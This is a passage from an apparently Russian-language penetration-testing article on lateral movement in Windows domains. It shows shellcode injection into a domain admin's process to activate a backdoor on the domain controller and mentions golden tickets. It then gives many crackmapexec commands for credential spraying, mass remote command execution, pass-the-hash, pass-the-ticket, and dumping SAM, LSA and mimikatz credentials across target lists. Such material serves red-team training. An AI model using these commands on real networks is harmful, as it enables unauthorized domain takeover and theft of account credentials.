Теперь все, что нам нужно, — это выбрать процесс администратора домена с помощью команды qprocess *. Часто админские процессы висят в параллельной сессии RDP, иногда — забытой. Поэтому в качестве цели можно взять, например, explorer.exe. Далее мы выделяем в нем немного памяти, записываем туда наш шелл‑код и запускаем поток c помощью shellcode_inject.exe:
shellcode_inject.exe PID shellcode.txt
Только что мы внедрили в контекст администратора домена код, который на контроллере домена удаленно запустил команду, активирующую бэкдор. Теперь подключимся к этому домену:
rdesktop dc.company.org
Мы увидим хорошо знакомую картину.
Результат внедрения шелл‑кода в админский процесс — активация бэкдора на контроллере домена
Доступ к контроллеру домена получен. Это значит, что мы можем выполнить репликацию доменных учетных записей, включая системную учетную запись krbtgt. С ее помощью можно «нарисовать» TGT Kerberos-билет того самого админа и авторизоваться от его имени уже второй раз, не зная никакого пароля. Эта техника называется golden ticket).
Подведем небольшой итог по самым распространенным типам хешей Windows и областям их использования.
Lateral movement
Так или иначе, для бокового перемещения на входе мы можем иметь учетные записи в одной из перечисленных ниже форм:
паролей открытым текстом;
NTLM-хешей;
Kerberos-билетов.
О том, как их использовать сразу на множестве целей, мы поговорим ниже.
Credentials spraying
Само по себе боковое перемещение — это, как правило, массовое исполнение кода, то есть запуск одной и той же команды на группе целей. При этом оно часто выполняется вслепую, особенно на начальной стадии, когда нет разведанного пути получения учетной записи админа.
Поэтому важно уметь исполнять код разными способами не на одной машине, а сразу на группе целей. Тут лучший, на мой взгляд, инструмент — crackmapexec. Эта тулза имеет крайне богатый арсенал функций. Она может быть использована также для брутфорса и много чего еще, что выходит за рамки данной статьи.
Синтаксис для использования локальных учетных записей выглядит следующим образом:
cme smb -d . -u username -p password targets.txt
Для доменных:
cme smb -d domain -u username -p password targets.txt
При этом любой аргумент может быть как значением, так и файлом, содержащим список значений. Перед тем как начать массово исполнять код, нужно определиться, какие учетные записи на какие ПК имеют доступ.
Для какой‑то конкретной учетки мы можем сделать проверку прав сразу на группе целей:
cme smb -d . -u admin -p passwd --shares targets.txt 2>&1 | grep Pwn3d
Чаще при боковом перемещении имеешь дело не с одной, а с десятками, а то и c сотнями учетных записей. В новых версиях cme для этого появилась возможность проверки combo-сочетаний:
cme smb -d domain -u users.txt -p passwords.txt --no-bruteforce --continue-on- success --shares targets.txt 2>&1 | grep Pwn3d
cme smb -d domain -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --shares targets.txt 2>&1 | grep Pwn3d
Все учетные записи, которые к чему‑то подошли, сохраняются в базе и доступны через команду cmedb. Команду можно использовать с целью получения информации для SMB:
cmedb> proto smb
Список сохраненных учетных записей:
cmedb> creds
Список хостов, на которые были попытки входа:
cmedb> hosts
Сохраненные таким образом учетные записи в дальнейшем можно использовать в cme по ID:
cme smb -id 7 --shares targets.txt
Массовое исполнение кода
В какой‑то момент нам может потребоваться тупо запускать какую‑то программу на группе целей. И если для точечного запуска команд мы использовали всякие psexec, то для массового используем cme. Для выполнения простой команды можно воспользоваться следующей директивой:
cme smb -d . -u admin -p s3cr3t -x 'ipconfig' targets.txt
Для выполнения командлетов PowerShell:
cme smb -d . -u admin -p s3cr3t -X 'Get-Service' targets.txt
Исполнение команд разными способами:
cme smb --exec-method smbexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme smb --exec-method wmiexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme smb --exec-method atexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme winrm -d . -u admin -p s3cr3t -x ipconfig targets.txt
Используем технику Pass-the-Hash на группе целей:
cme smb -d . -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x 'ipconfig' targets.txt
Используем технику Pass-the-Ticket на группе целей:
KRB5CCNAME=$(pwd)/tgt.ccache cme smb -k -u admin -x 'ipconfig' targets.txt
Также cme позволяет полностью автоматизировать процесс сбора локальных учетных записей и кеша доменных:
cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --sam targets.txt
cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --lsa targets.txt
Эта команда автоматизирует практически все описанные выше действия — соберет все, что можно, используя каждую из учетных записей. Также crackmapexec имеет дополнительные модули, расширяющие его и без того богатую функциональность. В частности, имеется модуль mimikatz для массового извлечения доменных учеток активных сессий:
cme smb -M mimikatz -id 8 targets.txt
Однако запускать его в реальной среде я бы не рекомендовал из‑за высокого риска обнаружения антивирусом.
Windows имеет довольно много разных особенностей, позволяющих нам «перепрыгивать» с одного хоста на другой. Многие из данных трюков, эти как PTH, вообще говоря, являются уязвимостями, но Microsoft не желает их закрывать. Например они переходят в разряд «фич», которые навсегда останутся в нашем арсенале.